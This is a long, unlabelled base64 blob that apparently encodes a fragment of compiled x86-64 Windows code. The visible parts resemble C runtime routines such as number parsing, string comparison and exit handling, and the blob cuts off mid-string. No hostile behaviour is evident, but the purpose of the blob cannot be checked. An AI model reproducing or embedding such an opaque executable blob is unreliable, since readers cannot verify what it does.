RIh900yJfddEiX3fRIh940SJfedMiX0HTIl9D+hy5f//SItN74vY6L8mAABMiX3vRDh9L3QLSItNF4OhqAMAAP2Lw0yNnCTgAAAASYtbIEmLcyhJi3swSYvjQV9BXl3DzMzMSIlcJAhIiXQkEFdIg+wgSYvZSYvwSIv6TYXJdQQzwOtWSIXJdRXo/S0AALsWAAAAiRjoLSoAAIvD6zxNhcB0Ekg703INTIvDSIvW6BjVAADry0yLwjPS6Iwo//9IhfZ0xUg7+3MM6L0tAAC7IgAAAOu+uBYAAABIi1wkMEiLdCQ4SIPEIF/DzEiD7CiLBZ5hBABNi9hMi9FFM8mFwHV5TYXAdGxIhcl1Guh6LQAAxwAWAAAA6KspAAC4////f0iDxCjDSIXSdOFMK9JBD7cMEo1Bv2aD+Bl3BGaDwSBED7cCQY1Av2aD+Bl3BWZBg8AgSIPCAkmD6wF0C2aFyXQGZkE7yHTGQQ+3wEQPt8lEK8hBi8FIg8Qow0iDxCjpAwAAAMzMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7EBFM/ZJi+hIi/pIi/FBi8ZNhcAPhMwAAABIhcl1GujJLAAAxwAWAAAA6PooAAC4////f+mtAAAASIXSdOFJi9FIjUwkIOjyOf//SItEJChMObA4AQAAdTpIK/cPtxw+jUO/ZoP4GXcEZoPDIA+3D41Bv2aD+Bl3BGaDwSBIg8cCSIPtAXREZoXbdD9mO9l0y+s4D7cOSI1UJCjoRUoAAA+3D0iNVCQoD7fY6DVKAABIjXYCD7fISI1/AkiD7QF0CmaF23QFZjvYdMgPt8kPt8MrwUQ4dCQ4dAxIi0wkIIOhqAMAAP1Ii1wkUEiLbCRYSIt0JGBIi3wkaEiDxEBBXsP2wQR0A7ABw/bBAXQZg+ECdAiB+gAAAIB364XJdQiB+v///3933zLAw8zMzEiJEUyJQQhNhcB0A0mJEEiLwcPMSIlcJAhIiXQkGEiJfCQgVUFUQVVBVkFXSIvsSIPsQEiDOgBFiuFFi/hIi9p1Juh5KwAAxwAWAAAA6KonAABIi0sISIXJdAZIiwNIiQEzwOmhAgAARYXAdAlBjUD+g/gid8xIi9FIjU3g6I44//9Miysz9kiLVehMiW04QYp9AEmNRQFEjW4ISIkDg3oIAUAPtsd+FEyNRehBi9WLyOhSaAAASItV6OsNSIvISIsCD7cESEEjxYXAdAtIiwNAijhI/8Drw0Uz9kWE5EEPlcZAgP8tdQZBg84C6wZAgP8rdQxIiwNAijhI/8BIiQNMi204QYPM/0H3x+////8PhYAAAACNR9A8CXcJQA++x4PA0OsjjUefPBl3CUAPvseDwKnrE41HvzwZdwlAD77Hg8DJ6wNBi8RBuQgAAACFwHQLRYX/dURFjXkC6z5IiwOKEEiNSAFIiQuNQqio33RHRYX/RQ9E+Uj/yUiJC4TSdBo4EXQW6DYqAADHABYAAADoZyYAAEG5CAAAADPSQYvEQff3RIvAjU/QgPkJdyFAD77Pg8HQ6ztAijm4EAAAAEWF/0QPRPhIjUEBSIkD68yNR588GXcJQA++z4PBqesTjUe/PBl3CUAPvs+DwcnrA0GLzEE7zHQtQTvPcyhFC/FBO/ByDHUEO8p2BkGDzgTrBkEPr/cD8UiLA0CKOEj/wEiJA+uCSP8LSIsDQIT/dBVAODh0EOiHKQAAxwAWAAAA6LglAABB9sYIdR2AffgATIkrD4T7/f//SItF4IOgqAMAAP3p6/3//4vWQYvO6GP9//+EwHRq6EYpAADHACIAAABB9sYBdQVBi/TrXEH2xgJ0J4B9+AB0C0iLReCDoKgDAAD9SItLCEiFyXQGSIsDSIkBuAAAAIDrUYB9+AB0C0iLReCDoKgDAAD9SItLCEiFyXQGSIsDSIkBuP///3/rKkH2xgJ0AvfegH34AHQLSItN4IOhqAMAAP1Ii0MISIXAdAZIiwtIiQiLxkyNXCRASYtbMEmLc0BJi3tISYvjQV9BXkFdQVxdw8xIiVwkCEiJbCQYSIl0JCBXQVRBVUFWQVdIg+xQRTPtQYrxRYv4SIv6TDkqdSboZigAAMcAFgAAAOiXJAAASItPCEiFyXQGSIsHSIkBM8DpYwYAAEWFwHQJQY1A/oP4InfMSIvRSI1MJCjoejX//0yLJ0WL9UyJZCQgvQgAAABBD7ccJEmNRCQC6wpIiwcPtxhIg8ACi9VIiQcPt8voz2QAAIXAdeVAhPZBi+1AD5XFZoP7LXUFg80C6wZmg/srdQ1IiwcPtxhIg8ACSIkHvuYJAADHhCSIAAAAagYAAEGDyf+5YAYAAEG6MAAAAEG7EP8AALrwBgAAuGYKAABEjUaAQffH7////w+FfwIAAGZBO9oPgsoBAABmg/s6cwsPt8NBK8LptAEAAGZBO9sPg5UBAABmO9kPgqYBAABmO5wkiAAAAHMKD7fDK8HpjQEAAGY72g+CiQEAALn6BgAAZjvZcwoPt8MrwulwAQAAZkE72A+CawEAALlwCQAAZjvZcwsPt8NBK8DpUQEAAGY73g+CTQEAALnwCQAAZjvZcwoPt8Mrxuk0AQAAZjvYD4IwAQAAuHAKAABmO9hzDQ+3wy1mCgAA6RQBAAC55goAAGY72Q+CCwEAAI1BCmY72A+CY////41IdmY72Q+C8wAAAI1BCmY72A+CS////7lmDAAAZjvZD4LZAAAAjUEKZjvYD4Ix////jUh2ZjvZD4LBAAAAjUEKZjvYD4IZ////jUh2ZjvZD4KpAAAAjUEKZjvYD4IB////uVAOAABmO9kPgo8AAACNQQpmO9gPguf+//+NSHZmO9lye41BCmY72A+C0/7//41IRmY72XJnjUEKZjvYD4K//v//uUAQAABmO9lyUY1BCmY72A+Cqf7//7ngFwAAZjvZcjuNQQpmO9gPgpP+//+NSCZmO9lyJ41BCmY72HMf6X7+//+4Gv8AAGY72HMID7fDQSvD6wODyP+D+P91KY1Dv2aD+Bl2Do1Dn2aD+Bl2BUGLwesSjUOfZoP4GQ+3w3cDg+ggg8DJvggAAACFwHQLRYX/dXlEjX4C63NIiwdBuN//AAAPtxBIjUgCSIkPjUKoZkGFwHQ6RYX/RA9E/kiDwf5IiQ9mhdJ0RGY5EXQ/6EElAADHABYAAADociEAAEGDyf9BujAAAABBuxD/AADrHQ+3GbgQAAAARYX/RA9E+EiNQQJIiQfrBb4IAAAAM9JBi8FB9/dBvWAGAABBvPAGAABEi8BmQTvaD4KuAQAAZoP7OnMLD7fLQSvK6ZgBAABmQTvbD4N5AQAAZkE73Q+CiQEAALhqBgAAZjvYcwsPt8tBK83pbwEAAGZBO9wPgmoBAAC4+gYAAGY72HMLD7fLQSvM6VABAAC4ZgkAAGY72A+CRwEAAI1ICmY72XMKD7fLK8jpMAEAALjmCQAAZjvYD4InAQAAjUgKZjvZcuCNQXZmO9gPghMBAACNSApmO9lyzI1BdmY72A+C/wAAAI1ICmY72XK4jUF2ZjvYD4LrAAAAjUgKZjvZcqS4ZgwAAGY72A+C1QAAAI1ICmY72XKOjUF2ZjvYD4LBAAAAjUgKZjvZD4J2////jUF2ZjvYD4KpAAAAjUgKZjvZD4Je////uFAOAABmO9gPgo8AAACNSApmO9kPgkT///+NQXZmO9hye41ICmY72Q+CMP///41BRmY72HJnjUgKZjvZD4Ic////uEAQAABmO9hyUY1ICmY72Q+CBv///7jgFwAAZjvYcjuNSApmO9kPgvD+//+NQSZmO9hyJ41ICmY72XMf6dv+//+4Gv8AAGY72HMID7fLQSvL6wODyf+D+f91KY1Dv2aD+Bl2Do1Dn2aD+Bl2BUGLyesSjUOfD7fLZoP4GXcDg+kgg8HJQTvJdDBBO89zKwvuRTvwcgt1BDvKdgWDzQTrB0UPr/dEA/FIiwcPtxhIg8ACSIkH6er9//9Igwf+RTPtSIsHTItkJCBmhdt0FWY5GHQQ6LwiAADHABYAAADo7R4AAECE7nUfTIknRDhsJEAPhEP6//9Ii0QkKIOgqAMAAP3pMvr//0GL1ovN6Jf2//+EwHRv6HoiAADHACIAAABA9sUBdQZBg87/62FA9sUCdClEOGwkQHQMSItEJCiDoKgDAAD9SItPCEiFyXQGSIsHSIkBuAAAAIDrV0Q4bCRAdAxIi0QkKIOgqAMAAP1Ii08ISIXJdAZIiwdIiQG4////f+suQPbFAnQDQffeRDhsJEB0DEiLTCQog6GoAwAA/UiLVwhIhdJ0BkiLD0iJCkGLxkyNXCRQSYtbMEmLa0BJi3NISYvjQV9BXkFdQVxfw0iJXCQISIl0JBhIiXwkIFVBVEFVQVZBV0iL7EiD7EBIgzoARYrhRYv4SIvadSbokSEAAMcAFgAAAOjCHQAASItLCEiFyXQGSIsDSIkBM8DpwQIAAEWFwHQJQY1A/oP4InfMSIvRSI1N4OimLv//TIsrRTP2SItV6EyJbThBin0ASY1FAUWNbghIiQODeggBQA+2x34UTI1F6EGL1YvI6GleAABIi1Xo6w1Ii8hIiwIPtwRIQSPFhcB0C0iLA0CKOEj/wOvDM/ZFhORAD5XGQID/LXUFg84C6wZAgP8rdQxIiwNAijhI/8BIiQNMi204QffH7////w+FgAAAAI1H0DwJdwlAD77Hg8DQ6yONR588GXcJQA++x4PAqesTjUe/PBl3CUAPvseDwMnrA4PI/0G7CAAAAIXAdAtFhf91REWNewLrPkiLA4oQSI1IAUiJC41CqKjfdE9Fhf9FD0T7SP/JSIkLhNJ0GjgRdBboUyAAAMcAFgAAAOiEHAAAQbsIAAAASYPM/01j10mLxDPSSffyTIvIjU/QgPkJdyJED77HQYPA0Os+QIo5uBAAAABFhf9ED0T4SI1BAUiJA+vEjUefPBl3CkQPvsdBg8Cp6xWNR788GXcKRA++x0GDwMnrBEGDyP9Bg/j/dDpFO8dzNUEL80078XIPdQhBi8BIO8J2BYPOBOsNSYvKSQ+vzkWL8EwD8UiLA0CKOEj/wEiJA+lw////TAEjSIsDQIT/dBVAODh0EOiLHwAAxwAWAAAA6LwbAABA9sYIdR2AffgATIkrD4Tn/f//SItF4IOgqAMAAP3p1/3//0mL1ovO6Gtk//+EwHR06EofAADHACIAAABA9sYBdQVNi/TrZ0D2xgJ0LIB9+AB0C0iLReCDoKgDAAD9SItLCEiFyXQGSIsDSIkBSLgAAAAAAAAAgOtYgH34AHQLSItF4IOgqAMAAP1Ii0sISIXJdAZIiwNIiQFIuP////////9/6yxA9sYCdANJ996AffgAdAtIi03gg6GoAwAA/UiLQwhIhcB0BkiLC0iJCEmLxkyNXCRASYtbMEmLc0BJi3tISYvjQV9BXkFdQVxdw8xIiVwkCEiJbCQYSIl0JCBXQVRBVUFWQVdIgeygAAAARTPtQYrxRYv4SIv6TDkqdSboWx4AAMcAFgAAAOiMGgAASItPCEiFyXQGSIsHSIkBM8DpQQcAAEWFwHQJQY1A/oP4InfMSIvRSI1MJHjobyv//0yLJ02L9UyJpCSYAAAAvQgAAABBD7ccJEmNRCQC6wpIiwcPtxhIg8ACi9VIiQcPt8vowVoAAIXAdeVAhPZBi+1AD5XFZoP7LXUFg80C6wZmg/srdQ1IiwcPtxhIg8ACSIkHx0QkdGoGAAC+ZgoAAMeEJNgAAADwCgAAuTAAAADHRCRQZgsAALpgBgAAx0QkKHALAABBuxD/AADHRCRoZgwAAESNVoDHRCQwcAwAALjmCgAAx0QkWOYMAABBuPAGAADHRCQ48AwAAEG5ZgkAAMdEJHBmDQAAx0QkQHANAADHRCRgUA4AAMdEJEhaDgAAx0QkbNAOAADHRCQg2g4AAMdEJCQgDwAAx0QkLCoPAADHRCQ0QBAAAMdEJDxKEAAAx0QkROAXAADHRCRM6hcAAMdEJFQQGAAAx0QkXBoYAADHRCRkGv8AAEH3x+////8PhaUCAABmO9kPgsIBAABmg/s6cwoPt8MrwemtAQAAZkE72w+DkQEAAGY72g+CnwEAAGY7XCR0cwoPt8MrwumJAQAAZkE72A+ChAEAALr6BgAAZjvacwsPt8NBK8DpagEAAGZBO9kPgmUBAAC6cAkAAGY72nMLD7fDQSvB6UsBAABmQTvaD4JGAQAAuvAJAABmO9pzCw+3w0ErwuksAQAAZjveD4IoAQAAunAKAABmO9pzCg+3wyvG6Q8BAABmO9gPggsBAABmO5wk2AAAAHMND7fDLeYKAADp7wAAAItUJFBmO9oPgucAAABmO1wkKA+CRP///4tUJGhmO9oPgs8AAABmO1wkMA+CLP///4tUJFhmO9oPgrcAAABmO1wkOA+CFP///4tUJHBmO9oPgp8AAABmO1wkQA+C/P7//4tUJGBmO9oPgocAAABmO1wkSA+C5P7//4tUJGxmO9pyc2Y7XCQgD4LQ/v//i1QkJGY72nJfZjtcJCwPgrz+//+LVCQ0ZjvacktmO1wkPA+CqP7//4tUJERmO9pyN2Y7XCRMD4KU/v//i1QkVGY72nIjZjtcJFxzHOl//v//ZjtcJGRzCA+3w0Erw+sDg8j/g/j/dSmNQ79mg/gZdg6NQ59mg/gZdgWDyP/rEo1Dn2aD+BkPt8N3A4PoIIPAyb4IAAAAhcB0C0WF/3VVRI1+AutPSIsHQbjf/wAAD7cQSI1IAkiJD41CqGZBhcB0aUWF/0QPRP5Ig8H+SIkPZoXSdBtmORF0FuiKGgAAxwAWAAAA6LsWAABBuxD/AAC5MAAAAE1j1zPSSIPI/0G9YAYAAEn38kG88AYAAEyLyGY72Q+C1AEAAGaD+zpzK0QPt8NEK8HpvAEAAA+3GbgQAAAARYX/RA9E+EiNQQJIiQfrrb4IAAAA66tmQTvbD4N/AQAAZkE73Q+CjwEAALhqBgAAZjvYcwxED7fDRSvF6XMBAABmQTvcD4JvAQAAuPoGAABmO9hzDEQPt8NFK8TpUwEAALhmCQAAZjvYD4JLAQAARI1ACmZBO9hzDEQPt8NEK8DpLwEAALjmCQAAZjvYD4InAQAARI1ACmZBO9hy3EGNQHZmO9gPghABAABEjUAKZkE72HLFQY1AdmY72A+C+QAAAGY7nCTYAAAAcq6LRCRQZjvYD4LiAAAAZjtcJChymotEJGhmO9gPgs4AAABmO1wkMHKGi0QkWGY72A+CugAAAGY7XCQ4D4Ju////i0QkcGY72A+CogAAAGY7XCRAD4JW////i0QkYGY72A+CigAAAGY7XCRID4I+////i0QkbGY72HJ2ZjtcJCAPgir///+LRCQkZjvYcmJmO1wkLA+CFv///4tEJDRmO9hyTmY7XCQ8D4IC////i0QkRGY72HI6ZjtcJEwPgu7+//+LRCRUZjvYciZmO1wkXHMf6dn+//9mO1wkZHMJRA+3w0Urw+sEQYPI/0GD+P91LY1Dv2aD+Bl2D41Dn2aD+Bl2BkGDyP/rFY1Dn0QPt8Nmg/gZdwRBg+ggQYPAyUGD+P90P0U7x3M6C+5NO/FyD3UIQYvASDvCdgWDzQTrEkmLykkPr85Fi/BMA/G5MAAAAEiLBw+3GEiDwAJIiQfpsf3//0iDB/5FM+1IiwdMi6QkmAAAAGaF23QVZjkYdBDo6RcAAMcAFgAAAOgaFAAAQITudSJMiSdEOKwkkAAAAA+EePn//0iLRCR4g6CoAwAA/eln+f//SYvWi83oxVz//4TAdH/opBcAAMcAIgAAAED2xQF1BkmDzv/rcUD2xQJ0MUQ4rCSQAAAAdAxIi0QkeIOgqAMAAP1Ii08ISIXJdAZIiwdIiQFIuAAAAAAAAACA62JEOKwkkAAAAHQMSItEJHiDoKgDAAD9SItPCEiFyXQGSIsHSIkBSLj/////////f+sxQPbFAnQDSffeRDisJJAAAAB0DEiLTCR4g6GoAwAA/UiLVwhIhdJ0BkiLD0iJCkmLxkyNnCSgAAAASYtbMEmLa0BJi3NISYvjQV9BXkFdQVxfw0BTSIPsMEGL2EyLwkiL0UiNTCQg6P/q//9Ii9BBsQFEi8MzyegD6///SIPEMFvDzEBTSIPsMEGL2EyLwkiL0UiNTCQg6M/q//9Ii9BFM8lEi8Mzyei79P//SIPEMFvDzEBTSIPsMEGL2EyLwkiL0UiNTCQg6J/q//9Ii9BBsQFEi8Mzyei37f//SIPEMFvDzEBTSIPsMEGL2EyLwkiL0UiNTCQg6G/q//9Ii9BFM8lEi8MzyeiH7f//SIPEMFvDzEBTSIPsMEGL2EyLwkiL0UiNTCQg6D/q//9Ii9BFM8lEi8Mzyehf9///SIPEMFvDzEBTSIPsIDPbSIXJdA1IhdJ0CE2FwHUcZokZ6MkVAAC7FgAAAIkY6PkRAACLw0iDxCBbw0yLyUwrwUMPtwQIZkGJAU2NSQJmhcB0BkiD6gF16EiF0nXVZokZ6IoVAAC7IgAAAOu/zMzMQFNIg+wgM9tMi8lIhcl0DUiF0nQITYXAdRxmiRnoXhUAALsWAAAAiRjojhEAAIvDSIPEIFvDZjkZdApIg8ECSIPqAXXxSIXSdQZmQYkZ681MK8FBD7cECGaJAUiNSQJmhcB0BkiD6gF16UiF0nW/ZkGJGegIFQAAuyIAAADrqMxIg+wo/xVO0gAASIkFV0gEAP8VOdIAAEiJBVJIBACwAUiDxCjDzMzMSI0FSUgEAMNIi8RIiVgISIloEEiJcBhIiXggQVZIg+wgRTP2SIv6SCv5SIvZSIPHB0GL7kjB7wNIO8pJD0f+SIX/dB9IizNIhfZ0C0iLzv8V+9YAAP/WSIPDCEj/xUg773XhSItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7DzMxIiVwkCEiJdCQQV0iD7CBIi/JIi9lIO8p0IEiLO0iF/3QPSIvP/xWl1gAA/9eFwHULSIPDCEg73uveM8BIi1wkMEiLdCQ4SIPEIF/DuGNzbeA7yHQDM8DDi8jpAQAAAMxIiVwkCEiJbCQQSIl0JBhXSIPsIEiL8ov56H4eAABFM8BIi9hIhcB1BzPA6UgBAABIiwhIi8FIjZHAAAAASDvKdA05OHQMSIPAEEg7wnXzSYvASIXAdNJIi3gISIX/dMlIg/8FdQxMiUAIjUf86QYBAABIg/8BD4T5AAAASItrCEiJcwiLcASD/ggPhdAAAABIg8EwSI2RkAAAAOsITIlBCEiDwRBIO8p184E4jQAAwItzEA+EiAAAAIE4jgAAwHR3gTiPAADAdGaBOJAAAMB0VYE4kQAAwHREgTiSAADAdDOBOJMAAMB0IoE4tAIAwHQRgTi1AgDAdU/HQxCNAAAA60bHQxCOAAAA6z3HQxCFAAAA6zTHQxCKAAAA6yvHQxCEAAAA6yLHQxCBAAAA6xnHQxCGAAAA6xDHQxCDAAAA6wfHQxCCAAAASIvP/xUf1QAAi1MQuQgAAAD/14lzEOsRSIvPTIlACP8VA9UAAIvO/9dIiWsIg8j/SItcJDBIi2wkOEiLdCRASIPEIF/DzMzMM8CB+WNzbeAPlMDDSIvESIlYCEiJcBBIiXgYTIlwIEFXSIPsIEGL8IvaRIvxRYXAdUozyf8VftAAAEiFwHQ9uU1aAABmOQh1M0hjSDxIA8iBOVBFAAB1JLgLAgAAZjlBGHUZg7mEAAAADnYQObH4AAAAdAhBi87oSAEAALkCAAAA6L43AACQgD1qRQQAAA+FsgAAAEG/AQAAAEGLx4cFRUUEAIXbdUhIiz0yCwQAi9eD4j+NS0AryjPASNPISDPHSIsNKUUEAEg7yHQaSDP5i8pI089Ii8//FQPUAABFM8Az0jPJ/9dIjQ0zRQQA6wxBO991DUiNDT1FBADoSAcAAJCF23UTSI0VPNQAAEiNDRXUAADogPz//0iNFTnUAABIjQ0q1AAA6G38//8PtgXGRAQAhfZBD0THiAW6RAQA6wboWwkAAJC5AgAAAOhINwAAhfZ1CUGLzugcAAAAzEiLXCQwSIt0JDhIi3wkQEyLdCRISIPEIEFfw0BTSIPsIIvZ6Lc0AACEwHQoZUiLBCVgAAAAi5C8AAAAweoI9sIBdRH/FdrPAABIi8iL0/8V980AAIvL6AwAAACLy/8V8M0AAMzMzMxIiVwkCFdIg+wgSINkJDgATI1EJDiL+UiNFf7sAAAzyf8Vts0AAIXAdCdIi0wkOEiNFf7sAAD/FcjOAABIi9hIhcB0DUiLyP8Vz9IAAIvP/9NIi0wkOEiFyXQG/xWbzgAASItcJDBIg8QgX8NIiQ25QwQAwzPSM8lEjUIB6cf9///MzMxFM8BBjVAC6bj9//+LBY5DBADDzEiJXCQIV0iD7CAz/0g5PZFDBAB0BDPA60joVlUAAOjhWAAASIvYSIXAdQWDz//rJ0iLyOg0AAAASIXAdQWDz//rDkiJBXNDBABIiQVUQwQAM8noFQgAAEiLy+gNCAAAi8dIi1wkMEiDxCBfw0iJXCQISIlsJBBIiXQkGFdBVkFXSIPsMDP2TIvxi9brGjw9dANI/8JIg8j/SP/AQDg0AXX3SP/BSAPIigGEwHXgSI1KAboIAAAA6AkJAABIi9hIhcB0bEyL+EE4NnRhSIPN/0j/xUE4NC5190j/xUGAPj10NboBAAAASIvN6NYIAABIi/hIhcB0JU2LxkiL1UiLyOgICAAAM8mFwHVISYk/SYPHCOhWBwAATAP166tIi8voRQAAADPJ6EIHAADrA0iL8zPJ6DYHAABIi1wkUEiLxkiLdCRgSItsJFhIg8QwQV9BXl/DRTPJSIl0JCBFM8Az0ugECwAAzMzMzEiFyXQ7SIlcJAhXSIPsIEiLAUiL2UiL+esPSIvI6OIGAABIjX8ISIsHSIXAdexIi8vozgYAAEiLXCQwSIPEIF/DzMzMSIPsKEiLCUg7DQJCBAB0Bein////SIPEKMPMzEiD7ChIiwlIOw3eQQQAdAXoi////0iDxCjDzMxIg+woSI0NtUEEAOi4////SI0NsUEEAOjI////SIsNtUEEAOhc////SIsNoUEEAEiDxCjpTP///+nf/f//zMzMSIlcJAhMiUwkIFdIg+wgSYvZSYv4iwroqDMAAJBIi8/otwEAAIv4iwvo6jMAAIvHSItcJDBIg8QgX8PMSIlcJAhIiXQkEEyJTCQgV0FUQVVBVkFXSIPsQEmL+U2L+IsK6F8zAACQSYsHSIsQSIXSdQlIg8v/6UABAABIizXfBgQARIvGQYPgP0iL/kgzOkGLyEjTz0iJfCQwSIveSDNaCEjTy0iJXCQgSI1H/0iD+P0Ph/oAAABMi+dIiXwkKEyL80iJXCQ4Qb1AAAAAQYvNQSvIM8BI08hIM8ZIg+sISIlcJCBIO99yDEg5A3UC6+tIO99zSkiDy/9IO/t0D0iLz+hDBQAASIs1VAYEAIvGg+A/RCvoQYvNM9JI08pIM9ZJiwdIiwhIiRFJiwdIiwhIiVEISYsHSIsISIlREOtyi86D4T9IMzNI085IiQNIi87/FQvPAAD/1kmLB0iLEEiLNfwFBABEi8ZBg+A/TIvOTDMKQYvISdPJSItCCEgzxkjTyE07zHUFSTvGdCBNi+FMiUwkKEmL+UyJTCQwTIvwSIlEJDhIi9hIiUQkIOkc////SIu8JIgAAAAz24sP6FcyAACLw0iLXCRwSIt0JHhIg8RAQV9BXkFdQVxfw8xIi8RIiVgISIloEEiJcBhIiXggQVRBVkFXSIPsIEiLATP2TIv5SIsYSIXbdQiDyP/phgEAAEyLBUgFBABBvEAAAABIiytBi8hMi0sIg+E/SItbEEkz6E0zyEjTzUkz2EnTyUjTy0w7yw+FxwAAAEgr3bgAAgAASMH7A0g72EiL+0gPR/hBjUQk4EgD+0gPRPhIO/tyH0WNRCTISIvXSIvN6GNVAAAzyUyL8Oi9AwAATYX2dShIjXsEQbgIAAAASIvXSIvN6D9VAAAzyUyL8OiZAwAATYX2D4RR////TIsFoQQEAE2NDN5Bi8BJjRz+g+A/QYvMK8hIi9ZI08pIi8NJK8FJM9BIg8AHSYvuSMHoA0mLyUw7y0gPR8ZIhcB0Fkj/xkiJEUiNSQhIO/B18UyLBU8EBABBi8BBi8yD4D8ryEmLRwhIixBBi8RI08pJM9BNjUEISYkRSIsVJgQEAIvKg+E/K8GKyEmLB0jTzUgz6kiLCEiJKUGLzEiLFQQEBACLwoPgPyvISYsHSdPITDPCSIsQTIlCCEiLFeYDBACLwoPgP0Qr4EmLB0GKzEjTy0gz2kiLCDPASIlZEEiLXCRASItsJEhIi3QkUEiLfCRYSIPEIEFfQV5BXMPMzEiL0UiNDd49BADpfQAAAMxMi9xJiUsISIPsOEmNQwhJiUPoTY1LGLgCAAAATY1D6EmNUyCJRCRQSY1LEIlEJFjoP/z//0iDxDjDzMxFM8lMi8FIhcl1BIPI/8NIi0EQSDkBdSRIixU9AwQAuUAAAACLwoPgPyvISdPJTDPKTYkITYlICE2JSBAzwMPMSIlUJBBIiUwkCFVIi+xIg+xASI1FEEiJRehMjU0oSI1FGEiJRfBMjUXouAIAAABIjVXgSI1NIIlFKIlF4Oh6+///SIPEQF3DSI0FZQQEAEiJBV49BACwAcPMzMxIg+woSI0N9TwEAOhU////SI0NAT0EAOhI////sAFIg8Qow8xIg+wo6PP6//+wAUiDxCjDsAHDzEBTSIPsIEiLFXsCBAC5QAAAAIvCM9uD4D8ryEjTy0gz2kiLy+hzBAAASIvL6IdUAABIi8voc1UAAEiLy+hHWAAASIvL6I/4//+wAUiDxCBbw8zMzDPJ6fEC///MQFNIg+wgSIsNnwcEAIPI//APwQGD+AF1H0iLDYwHBABIjR1dBQQASDvLdAzo4wAAAEiJHXQHBABIiw1tPAQA6NAAAABIiw1pPAQAM9tIiR1YPAQA6LsAAABIiw2sOwQASIkdTTwEAOioAAAASIsNoTsEAEiJHZI7BADolQAAALABSIkdjDsEAEiDxCBbw8zMSI0VreUAAEiNDbbkAADp1VIAAMxIg+wo6KsSAABIhcAPlcBIg8Qow0iD7CjovxEAALABSIPEKMNIjRV15QAASI0NfuQAAOkxUwAAzEiD7CjoTxMAALABSIPEKMNAU0iD7CDozREAAEiLWBhIhdt0DUiLy/8VI8oAAP/T6wDoAgEAAJDMSIXJdDdTSIPsIEyLwTPSSIsNokMEAP8VpMQAAIXAdRfoewcAAEiL2P8VUsYAAIvI6LMGAACJA0iDxCBbw8zMzEBTSIPsIEiL2UiD+eB3PEiFybgBAAAASA9E2OsV6AZXAACFwHQlSIvL6OJSAACFwHQZSIsNP0MEAEyLwzPS/xU0xAAASIXAdNTrDegQBwAAxwAMAAAAM8BIg8QgW8PMzEBTSIPsIDPbSIXJdAxIhdJ0B02FwHUbiBno4gYAALsWAAAAiRjoEgMAAIvDSIPEIFvDTIvJTCvBQ4oECEGIAUn/wYTAdAZIg+oBdexIhdJ12YgZ6KgGAAC7IgAAAOvEzEiD7CjoA1MAAEiFwHQKuRYAAADoRFMAAPYFeQEEAAJ0KbkXAAAA6LX4/v+FwHQHuQcAAADNKUG4AQAAALoVAABAQY1IAuiGAAAAuQMAAADoLPb//8zMzMxAU0iD7CBMi8JIi9lIhcl0DjPSSI1C4Ej380k7wHJDSQ+v2LgBAAAASIXbSA9E2OsV6NpVAACFwHQoSIvL6LZRAACFwHQcSIsNE0IEAEyLw7oIAAAA/xUFwwAASIXAdNHrDejhBQAAxwAMAAAAM8BIg8QgW8PMzMxIiVwkEEiJdCQYVVdBVkiNrCQQ+///SIHs8AUAAEiLBST/AwBIM8RIiYXgBAAAQYv4i/KL2YP5/3QF6An0/v8z0kiNTCRwQbiYAAAA6D8A//8z0kiNTRBBuNAEAADoLgD//0iNRCRwSIlEJEhIjU0QSI1FEEiJRCRQ/xVJwwAATIu1CAEAAEiNVCRASYvORTPA/xUpwwAASIXAdDZIg2QkOABIjUwkYEiLVCRATIvISIlMJDBNi8ZIjUwkWEiJTCQoSI1NEEiJTCQgM8n/FebCAABIi4UIBQAASImFCAEAAEiNhQgFAABIg8AIiXQkcEiJhagAAABIi4UIBQAASIlFgIl8JHT/FaXCAAAzyYv4/xWLwgAASI1MJEj/FYjCAACFwHUQhf91DIP7/3QHi8voFPP+/0iLjeAEAABIM8zozagAAEyNnCTwBQAASYtbKEmLczBJi+NBXl9dw8xIiQ1VOAQAw0iLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7DBBi/lJi/BIi+pMi/Ho5g4AAEiFwHRBSIuYuAMAAEiF23Q1SIvL/xWgxgAARIvPTIvGSIvVSYvOSIvDSItcJEBIi2wkSEiLdCRQSIt8JFhIg8QwQV5I/+BIix1t/QMAi8tIMx3UNwQAg+E/SNPLSIXbdbBIi0QkYESLz0yLxkiJRCQgSIvVSYvO6CIAAADMzEiD7DhIg2QkIABFM8lFM8Az0jPJ6D////9Ig8Q4w8zMSIPsKLkXAAAA6Nb1/v+FwHQHuQUAAADNKUG4AQAAALoXBADAQY1IAein/f///xWJwgAASIvIuhcEAMBIg8QoSP8lnsAAAMzMQFNIg+xASGPZiwVVNwQAhcB0SzPSSI1MJCDojRD//0iLRCQog3gIAX4VTI1EJCi6BAAAAIvL6GlAAACL0OsKSIsAD7cUWIPiBIB8JDgAdBxIi0QkIIOgqAMAAP3rDkiLBQf+AwAPtxRYg+IEi8JIg8RAW8NAU0iD7EBIY9mLBeE2BACFwHRLM9JIjUwkIOgZEP//SItEJCiDeAgBfhVMjUQkKLoIAAAAi8vo9T8AAIvQ6wpIiwAPtxRYg+IIgHwkOAB0HEiLRCQgg6CoAwAA/esOSIsFk/0DAA+3FFiD4giLwkiDxEBbw0iJXCQIV0iD7CBIY/lIhdJ0H0iLAoN4CAF+EUyLwovPugEAAADokj8AAOsRSIsA6wXo5j4AAA+3BHiD4AFIi1wkMIXAD5XASIPEIF/DzMzMSIlcJBBIiXQkIFVIi+xIg+xwSGPZSI1N4OhWD///gfsAAQAAczhIjVXoi8vof////4TAdA9Ii0XoSIuIEAEAAA+2HBmAffgAD4TcAAAASItF4IOgqAMAAP3pzAAAADPAZolFEIhFEkiLReiDeAgBfiiL80iNVejB/ghAD7bO6HFRAACFwHQSQIh1ELkCAAAAiF0RxkUSAOsX6IYBAAC5AQAAAMcAKgAAAIhdEMZFEQBIi1XoTI1NEDPAx0QkQAEAAABmiUUgQbgAAQAAiEUii0IMSIuSOAEAAIlEJDhIjUUgx0QkMAMAAABIiUQkKIlMJCBIjU3o6JVUAACFwA+EQf///w+2XSCD+AEPhDT///8Ptk0hweMIC9mAffgAdAtIi03gg6GoAwAA/UyNXCRwi8NJi1sYSYtzKEmL413DzMxIg+woiwXiNAQAhcB0CzPS6Kv+//+LyOsLjUG/g/gZdwODwSCLwUiDxCjDzDPATI0NP94AAEmL0USNQAg7CnQr/8BJA9CD+C1y8o1B7YP4EXcGuA0AAADDgcFE////uBYAAACD+Q5BD0bAw0GLRMEEw8zMzEiJXCQIV0iD7CCL+egDCwAASIXAdQlIjQVT+wMA6wRIg8AkiTjo6goAAEiNH